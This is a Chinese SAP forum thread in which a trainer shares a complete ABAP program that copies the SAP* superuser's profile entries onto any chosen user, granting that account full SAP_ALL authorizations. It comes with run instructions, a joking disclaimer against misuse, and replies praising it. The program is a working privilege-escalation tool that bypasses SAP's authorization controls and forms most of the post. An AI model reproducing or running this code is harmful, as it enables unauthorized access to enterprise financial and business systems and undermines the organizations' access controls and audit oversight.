赛跑网

 找回密码
 注册

QQ登录

只需一步,快速开始

快捷登录

查看: 4536|回复: 44

[FICO] 赋上SAP_ALL权限的代码

  [复制链接]
发表于 2011-5-29 11:00:35 | 显示全部楼层 |阅读模式
昨天我们在上海SAP培训的时候,讲到了SAP的权限机制,在了解了SAP的机制后,顺便讲了一下SAP的BUG,然后给大家介绍了一个程序,运行这个程序后,指定的SAP用户就有了SAP所有的权限,我们通SU01进行了验证,在SU01里新建了一个用户TEST。刚建好,此用户什么权限也没有,什么画面也不能执行,运行这个程序后,此用户就有了所有SAP权限,给大家分享一下此程序。

REPORT  ZABAP_USER.
data: l_USR04 LIKE USR04 ,
l_UST04 LIKE UST04  OCCURS 0 WITH HEADER LINE,
l_PROFS LIKE USR04-PROFS,
l_USRBF2 like USRBF2 occurs 0 with header line,
l_userid like usr01-bname.
TABLES : usr01.
SELECT-OPTIONS: p_user FOR USR01-BNAME .

START-OF-SELECTION.

  select single * into l_USR04 from USR04
  where BNAME in p_user.
*   move 'C SAP_ALL' to l_PROFS .
   l_USR04-BNAME = p_user-low.
*   l_USR04-PROFS = l_PROFS.
  select single NRPRO PROFS from USR04
    into (l_USR04-NRPRO,l_USR04-PROFS)
    WHERE bname = 'SAP*'.
  modify USR04 from l_USR04 .

   l_userid = l_USR04-BNAME.
  SELECT *  from UST04 into TABLE l_ust04
    where   bname = 'SAP*'.
  LOOP AT l_ust04.
     l_UST04-BNAME = p_user-low.
    Modify l_UST04 INDEX sy-tabix TRANSPORTING BNAME.
  ENDLOOP.
    modify UST04 from l_UST04.
*   select single * into l_UST04 from UST04
*   where BNAME in p_user.
*   l_UST04-PROFILE = 'SAP_ALL'.
*   Update UST04 from l_UST04 .

  select * from USRBF2 into table l_USRBF2
  where BNAME = 'SAP*' .
  Loop at l_USRBF2.
     l_USRBF2-BNAME = l_userid.
    Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.
  endloop.
  modify USRBF2 FROM TABLE l_USRBF2 .

在运行的画面只要输入你要运行的用户ID,然后点执行就可以了。呵呵,大家知道有这个方法就行了,千万不能在项目里乱使用,用了后出了问题,本站不负责哦。

最近访客

  • wx_22449
    2024-01-13
  • wx_16126
    2022-07-28
  • admin
    2022-07-13
  • 紫龙
    2022-06-23
  • dywhsy
    2022-04-25
  • sapxf
    2022-01-20
  • 斯普菜鸟
    2021-10-15
  • ckangtai
    2021-08-19




上一篇:最近比较忙!
下一篇:一下子泡出了太多的SAP培训机构
本楼点评(0) 收起
发表于 2011-5-29 15:10:56 | 显示全部楼层
老彭 你不交大家好事
本楼点评(0) 收起
 楼主| 发表于 2011-5-29 22:10:32 | 显示全部楼层
回复 2# alarmfire
呵呵,主要是让大家了解SAP的权限机制
本楼点评(0) 收起
匿名  发表于 2011-5-30 08:22:31
谢谢分享呀,老大!
本楼点评(0) 收起
匿名  发表于 2011-5-30 09:46:10
很强大的说,,,
本楼点评(0) 收起
发表于 2011-5-30 09:58:31 | 显示全部楼层
不错哈。。。。。。。。。
本楼点评(0) 收起
发表于 2011-5-30 11:38:53 | 显示全部楼层
太给力了
本楼点评(0) 收起
发表于 2011-5-30 11:39:14 | 显示全部楼层
太给力了!!!!!!
本楼点评(0) 收起
发表于 2011-5-30 11:42:00 | 显示全部楼层
没有基础。怎么运行这个程序?
本楼点评(0) 收起
发表于 2011-5-30 15:22:33 | 显示全部楼层
老彭你教我们小朋友做坏事
本楼点评(0) 收起
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|联系我们|赛跑网 ( QQ:108519493QQfsq

GMT+8, 2024-5-1 17:57 , Processed in 0.473541 second(s), 64 queries .

Powered by 91SAP X3.4

© 2001-2023 91sap Team.

快速回复 返回顶部 返回列表